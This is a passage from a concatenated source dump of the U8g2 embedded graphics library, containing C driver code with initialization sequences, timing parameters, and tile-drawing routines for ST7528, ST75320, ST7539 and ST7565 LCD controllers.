I2C_out(0xF3);//bias save circuit I2C_out(0x00);// I2C_out(0x96);//frc and pwm I2C_out(0x38);//external mode I2C_out(0x75);// I2C_out(0x97);//3frc, 45 pwm THIS IS A MODE0 CMD, IT IS USELESS HERE I2C_out(0x80);//start 16-level grayscale settings */ U8X8_CA(0x038, 0x064), /* ext mode 0*/ U8X8_CA(0x048, 0x064), /* partial display duty ratio, 1/100 duty*/ U8X8_C(0x0a0), /* ADC */ U8X8_C(0x0c8), /* SHL */ U8X8_CA(0x044, 0x000), /* initial Com0 */ U8X8_CA(0x040, 0x000), /* y shift, issue https://github.com/olikraus/u8g2/issues/1828 */ U8X8_C(0x0ab), /* start oscillator */ U8X8_C(0x026), /* Select the internal resistance ratio of the regulator resistor */ U8X8_CA(0x081, 0x015), /* volumn */ U8X8_C(0x056), /* LCD Bias */ U8X8_C(0x064), /* DC DC step up */ U8X8_DLY(2), U8X8_C(0x02c), /* Power Control */ U8X8_C(0x066), /* DC DC step up */ U8X8_DLY(2), U8X8_C(0x02e), /* Power Control */ U8X8_DLY(2), U8X8_C(0x02f), /* Power Control */ U8X8_CA(0x0f3, 0x000), /* bias power save */ U8X8_C(0x096), /* frc and pwm */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const u8x8_display_info_t u8x8_st7528_160x100_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 20, /* reset_pulse_width_ms = */ 5, /* post_reset_wait_ms = */ 5, /**/ /* sda_setup_time_ns = */ 20, /* st7528 */ /* sck_pulse_width_ns = */ 25, /* st7528 */ /* sck_clock_hz = */ 8000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* st7528 actually allows 20MHz according to the datasheet */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 40, /* write_pulse_width_ns = */ 80, /* st7528 */ /* tile_width = */ 20, /* tile_height = */ 13, /* default_x_offset = */ 0, /* x_offset is used as y offset for the ssd1326 */ /* flipmode_x_offset = */ 0, /* x_offset is used as y offset for the ssd1326 */ /* pixel_width = */ 160, /* pixel_height = */ 100 }; uint8_t u8x8_d_st7528_nhd_c160100(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY ) { u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7528_160x100_display_info); return 1; } if ( msg == U8X8_MSG_DISPLAY_INIT ) { u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_st7528_nhd_c160100_init_seq); u8x8_d_st7528_graylevel_init(u8x8, 0x074); return 1; } return u8x8_d_st7528_generic(u8x8, msg, arg_int, arg_ptr); } /*===============================================================*/ /* ERC16064, https://www.buydisplay.com/2-inch-lcd-160x64-graphic-module-serial-spi-display-st7528-black-on-white */ /* #define ModeSet 0x38 #define ModeSetP1 0x64 //EXT=0 #define ModeSetP2 0x65 //EXT=1 #define Display_on 0xaf #define Display_off 0xae #define Regulator 0x26 #define Contrast_level 0x81 #define PowerControll_on1 0x2c #define PowerControll_on2 0x2e #define PowerControll_on3 0x2f #define LcdBias_9 0x54 #define InterOsc_on 0xab #define EntireDisp_on 0xa5 #define EntireDisp_off 0xa4 #define BoostLevel_5 0x66 #define Duty_set 0x48 #define Duty_setP 0x40 #define Start_columnlsb 0x00 #define Start_columnmsb 0x10 #define Start_page 0xb0 #define StartLine_set 0x40 //#define StartLine_setP 0x00 #define Set_Initial_COM0 0x44 #define Set_Initial_COM0P 0x12 #define Entire_Displa_ON 0xA5 #define Entire_Displa_OFF 0xA4 #define FrcPwm_set 0x92 #define NLineInversion_on 0x4c #define NLineInversion_onP 0x1f #define NLineInversion_off 0xe4 #define ReverseDisp_on 0xa7 #define ReverseDisp_off 0xa6 #define AdcSelect 0xa0 #define ComScanDirection 0xc8 Write_command(ModeSet); 0x38, 0x64 Write_command(ModeSetP1); Write_command(InterOsc_on); 0xab Write_command(Set_Initial_COM0); 0x44, 0x12 Write_command(Set_Initial_COM0P); Write_command(AdcSelect); 0xa0 Write_command(ComScanDirection); 0xc8 Write_command(BoostLevel_5); 0x66 Delay(1000); Write_command(LcdBias_9); 0x54 Write_command(Duty_set); 0x48, 0x40 Write_command(Duty_setP); Write_command(Regulator); 0x26 Write_command(Contrast_level); 0x81, 0x0b Write_command(Contrast_levelP); Write_command(PowerControll_on1); 0x2c Delay(10000); Write_command(PowerControll_on2); 0x2e Delay(1000); Write_command(PowerControll_on3); 0x2f Delay(1000); Write_command(FrcPwm_set); 0x92 Write_command(ModeSet); Write_command(ModeSetP2); for(i=0;i<64;i++) { Write_command(0x80+i); Write_command(Gray_Parameters[i]); } Write_command(ModeSet); Write_command(ModeSetP1); */ static const uint8_t u8x8_d_st7528_erc16064_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(0x038, 0x064), /* ext mode 0*/ U8X8_C(0x0ab), /* start oscillator */ U8X8_CA(0x044, 0x012), /* initial Com0 */ U8X8_C(0x0a0), /* ADC */ U8X8_C(0x0c8), /* SHL */ U8X8_C(0x066), /* boost level, ERC16064: 0x066 */ U8X8_DLY(1), U8X8_C(0x054), /* LCD Bias, ERC16064: 0x054 */ U8X8_CA(0x048, 0x040), /* partial display duty ratio */ U8X8_C(0x026), /* Select the internal resistance ratio of the regulator resistor */ U8X8_CA(0x081, 0x00b), /* contrast, ERC16064: 0x00b */ U8X8_C(0x02c), /* Power Control */ U8X8_DLY(2), U8X8_C(0x02e), /* Power Control */ U8X8_DLY(2), U8X8_C(0x02f), /* Power Control */ U8X8_DLY(2), U8X8_C(0x092), /* frc and pwm, ERC160624: 0x092 */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const u8x8_display_info_t u8x8_st7528_erc16064_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 20, /* reset_pulse_width_ms = */ 5, /* post_reset_wait_ms = */ 5, /**/ /* sda_setup_time_ns = */ 20, /* st7528 */ /* sck_pulse_width_ns = */ 25, /* st7528 */ /* sck_clock_hz = */ 8000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* st7528 actually allows 20MHz according to the datasheet */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 40, /* write_pulse_width_ns = */ 80, /* st7528 */ /* tile_width = */ 20, /* tile_height = */ 8, /* default_x_offset = */ 0, /* x_offset is used as y offset for the ssd1326 */ /* flipmode_x_offset = */ 0, /* x_offset is used as y offset for the ssd1326 */ /* pixel_width = */ 160, /* pixel_height = */ 64 }; uint8_t u8x8_d_st7528_erc16064(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY ) { u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7528_erc16064_display_info); return 1; } if ( msg == U8X8_MSG_DISPLAY_INIT ) { u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_st7528_erc16064_init_seq); u8x8_d_st7528_graylevel_init(u8x8, 0x064); return 1; } return u8x8_d_st7528_generic(u8x8, msg, arg_int, arg_ptr); } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_st75320.c ================================================ /* u8x8_d_st75320.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2019, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ST75320: 320x240 monochrome LCD https://github.com/olikraus/u8g2/issues/921 */ #include "u8x8.h" static const uint8_t u8x8_d_st75320_jlx320240_powersave0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0af), /* display on */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_st75320_jlx320240_powersave1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_st75320_jlx320240_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(0xC4, 0x02), /* COM Output Status, Bits 0 & 1 */ U8X8_C(0xA1), /* Column Address Direction: Bit 0 */ //U8X8_C(0x0a1), /* segment remap a0/a1*/ //U8X8_C(0x0c8), /* c0: scan dir normal, c8: reverse */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_st75320_jlx320240_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ //U8X8_C(0x0a0), /* segment remap a0/a1*/ //U8X8_C(0x0c0), /* c0: scan dir normal, c8: reverse */ U8X8_CA(0xC4, 0x03), /* COM Output Status, Bits 0 & 1 */ U8X8_C(0xA0), /* Column Address Direction: Bit 0 */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; /*===================================================*/ static uint8_t u8x8_d_st75320_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint16_t x; uint8_t c; uint8_t *ptr; switch(msg) { /* handled by the calling function case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st75320_jlx320240_display_info); break; */ /* handled by the calling function case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_st75320_jlx320240_init_seq); break; */ case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_st75320_jlx320240_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_st75320_jlx320240_powersave1_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_st75320_jlx320240_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_st75320_jlx320240_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x081 ); u8x8_cad_SendArg(u8x8, arg_int<<2 ); u8x8_cad_SendArg(u8x8, arg_int>>6 ); u8x8_cad_EndTransfer(u8x8); break; #endif case U8X8_MSG_DISPLAY_DRAW_TILE: x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; x += u8x8->x_offset; u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x013); u8x8_cad_SendArg(u8x8, (x>>8) ); u8x8_cad_SendArg(u8x8, (x&255) ); u8x8_cad_SendCmd(u8x8, 0x0b1 ); u8x8_cad_SendArg(u8x8, (((u8x8_tile_t *)arg_ptr)->y_pos)); u8x8_cad_SendCmd(u8x8, 0x01d ); // write data do { c = ((u8x8_tile_t *)arg_ptr)->cnt; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; /* SendData can not handle more than 255 bytes */ if ( c > 31 ) { u8x8_cad_SendData(u8x8, 248, ptr); /* 31*8=248 */ ptr+=248; c -= 31; } u8x8_cad_SendData(u8x8, c*8, ptr); arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); break; default: return 0; } return 1; } /*===================================================*/ /* QT-2832TSWUG02/ZJY-2832TSWZG02 */ static const uint8_t u8x8_d_st75320_jlx320240_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0xAE), // Display OFF U8X8_CA(0xEA, 0x00), // Power Discharge Control, Discharge OFF U8X8_C(0xA8), // sleep out U8X8_C(0xAB), // OSC ON U8X8_C(0x69), // Temperature Detection ON U8X8_C(0x4E), // TC Setting U8X8_A8(0xff, 0x44, 0x12, 0x11, 0x11, 0x11, 0x22, 0x23), U8X8_CAA(0x39, 0x00, 0x00), //TC Flag U8X8_CA(0x2B, 0x00), // Frame Rate Level U8X8_CAA(0x5F, 0x66, 0x66), // Set Frame Frequency, fFR=80Hz in all temperature range U8X8_CAAA(0xEC, 0x19, 0x64, 0x6e), // FR Compensation Temp. Range, TA = -15 degree, TB = 60 degree, TC = 70 degree U8X8_CAA(0xED, 0x04, 0x04), // Temp. Hysteresis Value (thermal sensitivity) U8X8_C(0xA6), // Display Inverse OFF U8X8_C(0xA4), // Disable Display All Pixel ON U8X8_CA(0xC4, 0x02), // COM Output Status U8X8_C(0xA1), // Column Address Direction: MX=0 U8X8_CAA(0x6D, 0x07, 0x00), // Display Area, Duty = 1/240 duty, Start Group = 1 U8X8_C(0x84), // Display Data Input Direction: Column U8X8_CA(0x36, 0x1e), // Set N-Line U8X8_C(0xE4), // N-Line On U8X8_CA(0xE7, 0x19), // LCD Drive Method //NLFR=1// U8X8_CAA(0x81, 0x4f, 0x01), // OX81: Set EV=64h, 0..255, 0..3 U8X8_CA(0xA2, 0x0a), // BIAS //1/16 BIAS U8X8_CA(0x25, 0x020), // Power Control //AVDD ON U8X8_DLY(10), U8X8_CA(0x25, 0x60), // Power Control//AVDD, MV3 & NAVDD ON U8X8_DLY(10), U8X8_CA(0x25, 0x70), // Power Control //AVDD, MV3, NAVDD & V3 ON U8X8_DLY(10), U8X8_CA(0x25, 0x78), // Power Control//AVDD, MV3, NAVDD, V3 & VPF ON U8X8_DLY(10), U8X8_CA(0x25, 0x7c), // Power Control//AVDD, MV3, NAVDD, V3, VPF & VNF ON U8X8_DLY(10), U8X8_CA(0x25, 0x7e), // Power Control//VOUT, AVDD, MV3, NAVDD, V3, VPF & VNF ON U8X8_DLY(10), U8X8_CA(0x25, 0x7f), // Power Control/VOUT, AVDD, MV3, NAVDD, V3, VPF & VNF ON U8X8_DLY(10), //U8X8_C(0xaf); //Display ON U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const u8x8_display_info_t u8x8_st75320_jlx320240_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 20, /* reset_pulse_width_ms = */ 5, /* post_reset_wait_ms = */ 5, /**/ /* sda_setup_time_ns = */ 20, /* */ /* sck_pulse_width_ns = */ 40, /* */ /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* 400KHz */ /* data_setup_time_ns = */ 15, /* write_pulse_width_ns = */ 70, /* tile_width = */ 40, /* tile_height = */ 30, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 320, /* pixel_height = */ 240 }; uint8_t u8x8_d_st75320_jlx320240(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( u8x8_d_st75320_generic(u8x8, msg, arg_int, arg_ptr) != 0 ) return 1; switch(msg) { case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_st75320_jlx320240_init_seq); break; case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st75320_jlx320240_display_info); break; default: return 0; } return 1; } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_st7539.c ================================================ /* u8x8_d_st7539.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2023, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8x8.h" static const uint8_t u8x8_d_st7539_192x64_powersave0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0af), /* display on */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_st7539_192x64_powersave1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_st7539_192x64_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0c2), /* bit 1: MX, bit 2: MY */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_st7539_192x64_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0c4), /* bit 1: MX, bit 2: MY */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const u8x8_display_info_t u8x8_st7539_192x64_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 1, /* st7539 datasheet, page 46 */ /* pre_chip_disable_wait_ns = */ 5, /* st7539 datasheet, page 46 */ /* reset_pulse_width_ms = */ 1, /* post_reset_wait_ms = */ 6, /* sda_setup_time_ns = */ 12, /* st7539 datasheet, page 44 */ /* sck_pulse_width_ns = */ 15, /* st7539 datasheet, page 44 */ /* sck_clock_hz = */ 2000000UL, /* */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 1, /* data_setup_time_ns = */ 60, /* st7539 datasheet, page 43 */ /* write_pulse_width_ns = */ 80, /* st7539 datasheet, page 43 */ /* tile_width = */ 24, /* tile_height = */ 8, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 192, /* pixel_height = */ 64 }; static const uint8_t u8x8_d_st7539_192x64_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0e2), /* soft reset */ U8X8_C(0x0a0), /* 76Hz FPS*/ U8X8_C(0x0eb), /* LCD Bias: 0xe8: 6, 0xe9: 7, 0xea: 8, 0xeb: 9 */ U8X8_C(0x0c2), /* RAM mapping ctrl */ U8X8_CA(0x081, 145), /* set contrast */ U8X8_C(0x02e), /* LCD Load + Internal Charge Pump (default: 0x2e) */ U8X8_C(0x040), /* set display start line to 0 */ U8X8_C(0x0a6), /* normal display */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; // https://github.com/olikraus/u8g2/issues/2146 uint8_t u8x8_d_st7539_192x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, c; uint8_t *ptr; switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7539_192x64_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_st7539_192x64_init_seq); break; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_st7539_192x64_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_st7539_192x64_powersave1_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_st7539_192x64_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_st7539_192x64_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x081 ); u8x8_cad_SendArg(u8x8, arg_int ); /* st7539 has range from 0 to 255 */ u8x8_cad_EndTransfer(u8x8); break; #endif case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; x += u8x8->x_offset; u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) ); u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15))); u8x8_cad_SendCmd(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos)); c = ((u8x8_tile_t *)arg_ptr)->cnt; c *= 8; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; do { u8x8_cad_SendData(u8x8, c, ptr); /* note: SendData can not handle more than 255 bytes */ arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); break; default: return 0; } return 1; } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_st7565.c ================================================ /* u8x8_d_st7565.c also includes support for nt7534 Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8x8.h" static const uint8_t u8x8_d_st7565_powersave0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a4), /* all pixel off, issue 142 */ U8X8_C(0x0af), /* display on */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_st7565_powersave1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off */ U8X8_C(0x0a5), /* enter powersafe: all pixel on, issue 142 */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_st7565_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a1), /* segment remap a0/a1*/ U8X8_C(0x0c0), /* c0: scan dir normal, c8: reverse */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_st7565_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a0), /* segment remap a0/a1*/ U8X8_C(0x0c8), /* c0: scan dir normal, c8: reverse */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_st7565_zflip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a1), /* segment remap a0/a1*/ U8X8_C(0x0c8), /* c0: scan dir normal, c8: reverse */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_st7565_zflip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a0), /* segment remap a0/a1*/ U8X8_C(0x0c0), /* c0: scan dir normal, c8: reverse */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const u8x8_display_info_t u8x8_st7565_128x64_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 150, /* st7565 datasheet, table 26, tcsh */ /* pre_chip_disable_wait_ns = */ 50, /* st7565 datasheet, table 26, tcss */ /* reset_pulse_width_ms = */ 1, /* post_reset_wait_ms = */ 1, /* sda_setup_time_ns = */ 50, /* st7565 datasheet, table 26, tsds */ /* sck_pulse_width_ns = */ 120, /* half of cycle time (100ns according to datasheet), AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */ /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 40, /* st7565 datasheet, table 24, tds8 */ /* write_pulse_width_ns = */ 80, /* st7565 datasheet, table 24, tcclw */ /* tile_width = */ 16, /* width of 16*8=128 pixel */ /* tile_height = */ 8, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 4, /* pixel_width = */ 128, /* pixel_height = */ 64 }; uint8_t u8x8_d_st7565_common(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, c; uint8_t *ptr; switch(msg) { case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; x += u8x8->x_offset; u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) ); u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15))); u8x8_cad_SendCmd(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos)); c = ((u8x8_tile_t *)arg_ptr)->cnt; c *= 8; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; /* The following if condition checks the hardware limits of the st7565 controller: It is not allowed to write beyond the display limits. This is in fact an issue within flip mode. */ if ( c + x > 132u ) { c = 132u; c -= x; } do { u8x8_cad_SendData(u8x8, c, ptr); /* note: SendData can not handle more than 255 bytes */ arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); break; /* handled in the calling procedure case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7565_128x64_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_uc1701_dogs102_init_seq); break; */ case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_st7565_powersave0_seq); else u8x8_cad_SendSequence(u8x8, 